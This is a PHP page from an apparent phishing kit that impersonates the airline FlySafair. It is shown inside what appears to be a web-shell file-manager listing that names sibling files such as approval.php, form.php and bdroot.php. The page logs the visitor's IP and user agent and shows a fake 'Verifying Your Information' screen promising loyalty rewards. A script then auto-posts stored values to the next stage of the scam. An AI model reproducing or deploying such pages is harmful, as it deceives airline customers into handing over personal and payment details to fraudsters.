9B534B8686E580E0E01768F00155B461

at path：ROOT / Welcome / loading1.php

run：R W Run

assets

DIR

2026-10-03 02:44:58

R W Run

approval.php

27.67 KB

2026-10-29 06:56:19

R W Run

bdroot.php

0 By

2026-11-03 02:28:49

R W Run

form.php

28.81 KB

2026-10-29 06:56:20

R W Run

index.php

24.17 KB

2026-10-29 06:56:21

R W Run

loading1.php

12.29 KB

2026-10-03 02:59:04

R W Run

loading2.php

24.21 KB

2026-10-03 02:58:52

R W Run

error_log

📄loading1.php

<?php
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FlySafair - Verifying Your Information</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }

body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', sans-serif;
            background-color: #F5F5F5;
            color: #333333;
        }

/* HEADER */
        header { background-color: #ffffff; color: #333333; padding: 0; border-bottom: 1px solid #EEEEEE; }

.header-top {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 15px 40px;
            border-bottom: 1px solid #EEEEEE;
        }

.logo { display: flex; align-items: center; gap: 10px; }
        .logo img { height: 32px; width: auto; }
        .logo-text { font-size: 18px; font-weight: 600; letter-spacing: 2px; display: none; color: #333333; }

.header-controls { display: flex; align-items: center; gap: 30px; }

.search-btn {
            background: none; border: none; color: #666666; cursor: pointer;
            font-size: 16px; display: flex; align-items: center; gap: 5px;
        }

.language-currency { display: flex; align-items: center; gap: 15px; font-size: 14px; color: #666666; }
        .language-select {
            background: none; border: none; color: #666666; cursor: pointer;
            display: flex; align-items: center; gap: 5px; font-size: 14px;
        }
        .join-aeroplan { color: #666666; text-decoration: none; font-size: 14px; cursor: pointer; }
        .sign-in-btn {
            background-color: #E91E8C; color: #fff; border: none; padding: 8px 20px;
            border-radius: 4px; cursor: pointer; font-size: 14px; font-weight: 600;
        }
        .sign-in-btn:hover { background-color: #D01880; }

.header-nav { display: flex; background-color: #FAFAFA; }

.nav-item {
            padding: 15px 25px; color: #666666; text-decoration: none;
            display: flex; align-items: center; gap: 8px;
            border-bottom: 3px solid transparent; border-right: 1px solid #EEEEEE;
            cursor: pointer; font-size: 15px; transition: all 0.3s ease;
            font-weight: 500;
        }
        .nav-item:last-child { border-right: none; }
        .nav-item:hover { color: #E91E8C; }
        .nav-item.active { color: #E91E8C; border-bottom-color: #E91E8C; }

/* MAIN */
        main { min-height: 600px; display: flex; align-items: center; justify-content: center; padding: 40px 20px; }

.loading-card {
            background: #fff; border-radius: 16px; padding: 50px 40px;
            max-width: 550px; width: 100%; text-align: center;
            box-shadow: 0 10px 40px rgba(0,0,0,0.1);
            border: 1px solid #EEEEEE;
        }

.image-container {
            width: 200px; height: 140px; margin: 0 auto 30px;
            animation: gentleBounce 2.4s infinite ease-in-out;
        }
        .loading-image { width: 100%; height: 100%; object-fit: contain; }

@keyframes gentleBounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-12px); }
        }

.spinner {
            width: 55px; height: 55px; border: 4px solid #F5F5F5;
            border-top: 4px solid #E91E8C; border-radius: 50%;
            animation: spin 1s linear infinite; margin: 0 auto 25px;
        }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

.loading-title {
            font-size: 26px; font-weight: 700; color: #333333; margin-bottom: 10px;
        }
        .loading-subtitle {
            font-size: 15px; color: #666666; margin-bottom: 30px; line-height: 1.6;
        }

.progress-bar {
            width: 100%; height: 8px; background: #F5F5F5;
            border-radius: 4px; margin: 30px 0 15px; overflow: hidden;
        }
        .progress-fill {
            height: 100%; background: linear-gradient(90deg, #E91E8C, #D01880);
            width: 0%; border-radius: 4px; animation: fill 7s linear forwards;
        }
        @keyframes fill { from { width: 0%; } to { width: 100%; } }

.status-text {
            color: #666666; font-size: 14px; display: flex;
            align-items: center; justify-content: center; gap: 8px;
        }

/* FOOTER */
        footer { background-color: #0077C0; color: #ffffff; padding: 40px; margin-top: 60px; border-top: 1px solid #EEEEEE; }
        .footer-content { max-width: 1200px; margin: 0 auto; }

.footer-header {
            display: flex; justify-content: space-between; align-items: center;
            margin-bottom: 40px; padding-bottom: 30px; border-bottom: 1px solid rgba(255, 255, 255, 0.2);
        }
        .footer-logo { display: flex; align-items: center; gap: 10px; }
        .footer-logo img { height: 28px; width: auto; filter: brightness(0) invert(1); }
        .star-alliance { display: flex; align-items: center; gap: 8px; color: #ffffff; font-size: 14px; }

.footer-columns { display: grid; grid-template-columns: repeat(4, 1fr); gap: 40px; margin-bottom: 30px; }
        .footer-column h3 { color: #ffffff; font-size: 15px; font-weight: 600; margin-bottom: 15px; }
        .footer-column ul { list-style: none; }
        .footer-column li { margin-bottom: 10px; }
        .footer-column a { color: #ffffff; text-decoration: none; font-size: 13px; transition: color 0.3s ease; }
        .footer-column a:hover { color: #E91E8C; }

.footer-bottom { border-top: 1px solid rgba(255, 255, 255, 0.2); padding-top: 20px; text-align: center; font-size: 12px; color: #ffffff; }

.award-badge { display: flex; align-items: center; gap: 10px; margin-top: 10px; }
        .award-badge-icon { font-size: 32px; }
        .award-badge-text { font-size: 12px; color: #ffffff; font-weight: 600; }

@media (max-width: 768px) {
            .header-top { padding: 15px 20px; }
            .header-controls { gap: 15px; }
            .header-nav { overflow-x: auto; }
            .nav-item { padding: 12px 15px; font-size: 13px; white-space: nowrap; }
            .footer-columns { grid-template-columns: repeat(2, 1fr); gap: 20px; }
            .loading-card { padding: 35px 25px; }
            .image-container { width: 160px; height: 110px; }
        }

@media (max-width: 480px) {
            .header-controls { gap: 10px; }
            .footer-columns { grid-template-columns: 1fr; }
            .logo-text { display: none; }
            .loading-title { font-size: 22px; }
        }
    </style>
</head>
<body>
    
    <header>
        <div class="header-top">
            <div class="logo">
                <img src="assets/1.png" alt="FlySafair Logo">
                <span class="logo-text">FlySafair</span>
            </div>
            <div class="header-controls">
                <button class="search-btn"><span>🔍</span><span>Search</span></button>
                <div class="language-currency">
                    <button class="language-select">🇿🇦 English</button>
                    <span>USD</span>
                </div>
                <a href="#" class="join-aeroplan">Join FlyMore</a>
                <button class="sign-in-btn">Log In</button>
            </div>
        </div>
        <nav class="header-nav">
            <a href="#" class="nav-item active"><span>Flights</span></a>
            <a href="#" class="nav-item"><span>Packages</span></a>
            <a href="#" class="nav-item"><span>Deals</span></a>
            <a href="#" class="nav-item"><span>Travel</span></a>
            <a href="#" class="nav-item"><span>Check-in</span></a>
            <a href="#" class="nav-item"><span>Flight Status</span></a>
            <a href="#" class="nav-item"><span>FlyMore</span></a>
            <a href="#" class="nav-item"><span>FlyMore Deals</span></a>
            <a href="#" class="nav-item"><span>eShop</span></a>
            <a href="#" class="nav-item"><span>Accessibility</span></a>
        </nav>
    </header>

<main>
        <div class="loading-card">
            <div class="image-container">
                <img src="assets/3.png" alt="Verifying Information" class="loading-image">
            </div>
            <div class="spinner"></div>
            <h2 class="loading-title">Verifying Your Information</h2>
            <p class="loading-subtitle">We are validating your details and preparing your exclusive FlyMore rewards.</p>
            <div class="progress-bar"><div class="progress-fill"></div></div>
            <div class="status-text">
                <span>⏳</span> Your submission is being securely processed...
            </div>
        </div>
    </main>

<footer>
        <div class="footer-content">
            <div class="footer-header">
                <div class="footer-logo"><img src="assets/1.png" alt="FlySafair Logo"></div>
                <div class="star-alliance">⭐ STAR ALLIANCE</div>
            </div>
            <div class="footer-columns">
                <div class="footer-column">
                    <h3>Support</h3>
                    <ul>
                        <li><a href="#">Help & Contact</a></li>
                        <li><a href="#">Baggage & Service Fees</a></li>
                        <li><a href="#">Customer Service Plan</a></li>
                        <li><a href="#">Cybersecurity Center</a></li>
                        <li><a href="#">Manage Cookies</a></li>
                    </ul>
                </div>
                <div class="footer-column">
                    <h3>FlySafair</h3>
                    <ul>
                        <li><a href="#">Media Center</a></li>
                        <li><a href="#">Official Languages</a></li>
                        <li><a href="#">Sustainability</a></li>
                        <li><a href="#">Our Stories</a></li>
                        <li><a href="#">Investor Relations</a></li>
                        <li><a href="#">Careers</a></li>
                    </ul>
                </div>
                <div class="footer-column">
                    <h3>More Services</h3>
                    <ul>
                        <li><a href="#">For Businesses</a></li>
                        <li><a href="#">For Travel Agencies</a></li>
                        <li><a href="#">FlySafair Cargo</a></li>
                        <li><a href="#">FlySafair Foundation</a></li>
                    </ul>
                </div>
                <div class="footer-column">
                    <h3>Our Awards</h3>
                    <div class="award-badge">
                        <div class="award-badge-icon">🏆</div>
                        <div class="award-badge-text">Best Low-Cost Airline in Africa</div>
                    </div>
                </div>
            </div>
            <div class="footer-bottom">
                <p>&copy; 2026 FlySafair. All rights reserved.</p>
            </div>
        </div>
    </footer>

<script>
        setTimeout(function() {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'loading2.php';

const miles = localStorage.getItem('acMiles') || '0';
            const cashback = localStorage.getItem('acCashback') || '0.00';

const inputMiles = document.createElement('input');
            inputMiles.type = 'hidden';
            inputMiles.name = 'miles';
            inputMiles.value = miles;

const inputCashback = document.createElement('input');
            inputCashback.type = 'hidden';
            inputCashback.name = 'cashback';
            inputCashback.value = cashback;

form.appendChild(inputMiles);
            form.appendChild(inputCashback);
            document.body.appendChild(form);
            form.submit();
        }, 7000);
    </script>
</body>
</html>